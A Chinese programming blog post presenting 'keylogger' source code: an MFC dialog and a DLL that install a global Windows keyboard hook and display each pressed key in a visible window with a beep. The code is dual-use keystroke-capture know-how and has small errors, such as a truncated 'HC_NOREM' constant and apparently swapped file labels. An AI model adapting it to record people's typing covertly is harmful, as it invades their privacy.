键盘记录程序代码

 

键盘记录程序


-------------------------------------------------------------------------------

主程序:

就是基于对话框的框架,加个个OnHookKey函数,

long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam)   //处理自定义消息
{
	char szKey[80]={0};
	GetKeyNameText(lParam, szKey, 80);
	CString strItem;
	strItem.Format("按键:%s\r\n", szKey);
	CString strEdit;
	GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);
	GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);
	::MessageBeep(MB_OK);
	return 0;
}

在初始化时,调用DLL中的:

SetKeyHook(TRUE, 0, m_hWnd)
在析构时,调用DLL中的:
SetKeyHook(FALSE);

.cpp代码


#include <afxwin.h>
#define  HM_KEY WM_USER+100
//CMyApp
class CMyApp:public CWinApp
{
public:
	BOOL InitInstance();
};

//CMyDialog
class CMainDialog:public CDialog
{
public:
	CMainDialog(CWnd* pParentWnd = NULL);

protected:
	virtual BOOL OnInitDialog( );
	afx_msg void OnCancel();
	afx_msg long OnHookKey(WPARAM wParam, LPARAM lParam);  //处理自定义消息的声明

	DECLARE_MESSAGE_MAP()
};
.h代码:

#include "resource.h"
#include "KeyHookApp.h"
#include "KeyHook.h"
#pragma comment(lib,"KeyHook.lib")

CMyApp theApp;

BOOL CMyApp::InitInstance()
{
	CMainDialog dlg;
	m_pMainWnd = &dlg;   //给m_pMainWnd 主窗口
	dlg.DoModal();
	return FALSE; //不进入消息循环
}


BEGIN_MESSAGE_MAP(CMainDialog, CDialog)
	ON_MESSAGE(HM_KEY, OnHookKey) //自定义消息
END_MESSAGE_MAP()

//CMainDialog
CMainDialog::CMainDialog(CWnd* pParentWnd):CDialog(IDD_MAIN, pParentWnd)  
{  

} 
BOOL CMainDialog::OnInitDialog( )
{
	CDialog::OnInitDialog();
	if (!SetKeyHook(TRUE, 0, m_hWnd))
	{
		MessageBox("安装钩子失败");
	}
	
	return TRUE;
}
//处理关闭消息
void CMainDialog::OnCancel()
{
	OutputDebugString("oncancel");
	SetKeyHook(FALSE);
	CDialog::OnCancel();
	return;
}
long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam)   //处理自定义消息
{
	char szKey[80]={0};
	GetKeyNameText(lParam, szKey, 80);
	CString strItem;
	strItem.Format("按键:%s\r\n", szKey);
	CString strEdit;
	GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);
	GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);
	::MessageBeep(MB_OK);
	return 0;
}

dll的代码:

.cpp

// KeyHook.cpp : 定义 DLL 应用程序的导出函数。
//

#include "stdafx.h"
#include "KeyHook.h"


//共享数据段
#pragma data_seg("YCIShared")
HWND g_hWndCaller=NULL; //保存主窗口句柄
HHOOK g_hHook = NULL; //保存钩子句柄 
#pragma data_seg()
// 这是导出变量的一个示例
KEYHOOK_API int nKeyHook=0;

// 这是导出函数的一个示例。
KEYHOOK_API int fnKeyHook(void)
{
	return 42;
}


//通过内存得到模块句柄的帮助函数
HMODULE WINAPI ModuleFromAddress(LPVOID pv)
{
	MEMORY_BASIC_INFORMATION  mbi;
	if (0 != ::VirtualQuery(pv, &mbi, sizeof(MEMORY_BASIC_INFORMATION)))
	{
		return (HMODULE)mbi.AllocationBase;
	}
	else
	{
		return NULL;
	}
}
//钩子处理函数
LRESULT CALLBACK KeyboardProc(
	__in  int code,
	__in  WPARAM wParam,
	__in  LPARAM lParam
	)
{
	if (code<0||code==HC_NOREM)
	{
		return ::CallNextHookEx(g_hHook, code, wParam,lParam);
	}
	//如果重复消息,交给下一链
	if (lParam & 0x40000000)
	{
		return ::CallNextHookEx(g_hHook, code, wParam,lParam);
	}
	//通知主窗口
	::PostMessageA(g_hWndCaller, HM_KEY, wParam, lParam);
	return ::CallNextHookEx(g_hHook, code, wParam,lParam);
	
}
//安装和卸载钩子函数
BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)
{
	BOOL bRet = TRUE;
	g_hWndCaller = hWndCaller;
	if (bInstall) //安装钩子
	{
		g_hHook =::SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, ModuleFromAddress(KeyboardProc), dwThreadId);
		bRet = (g_hHook != NULL);
	}
	else //卸载钩子
	{
		::UnhookWindowsHookEx(g_hHook);
		g_hHook = NULL;
	}
	return bRet;
}
// 这是已导出类的构造函数。
// 有关类定义的信息,请参阅 KeyHook.h
CKeyHook::CKeyHook()
{
	return;
}

.h

// 下列 ifdef 块是创建使从 DLL 导出更简单的
// 宏的标准方法。此 DLL 中的所有文件都是用命令行上定义的 KEYHOOK_EXPORTS
// 符号编译的。在使用此 DLL 的
// 任何其他项目上不应定义此符号。这样,源文件中包含此文件的任何其他项目都会将
// KEYHOOK_API 函数视为是从 DLL 导入的,而此 DLL 则将用此宏定义的
// 符号视为是被导出的。
#ifdef KEYHOOK_EXPORTS
#define KEYHOOK_API __declspec(dllexport)
#else
#define KEYHOOK_API __declspec(dllimport)
#endif

#define  HM_KEY WM_USER + 100
// 此类是从 KeyHook.dll 导出的
class KEYHOOK_API CKeyHook {
public:
	CKeyHook(void);
	// TODO: 在此添加您的方法。
};

extern KEYHOOK_API int nKeyHook;

KEYHOOK_API int fnKeyHook(void);

//声明要导出的
BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId=0, HWND hWndCaller=NULL);
.def

EXPORTS
	SetKeyHook
SECTIONS
	YCIShared  Read Write Shared



  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值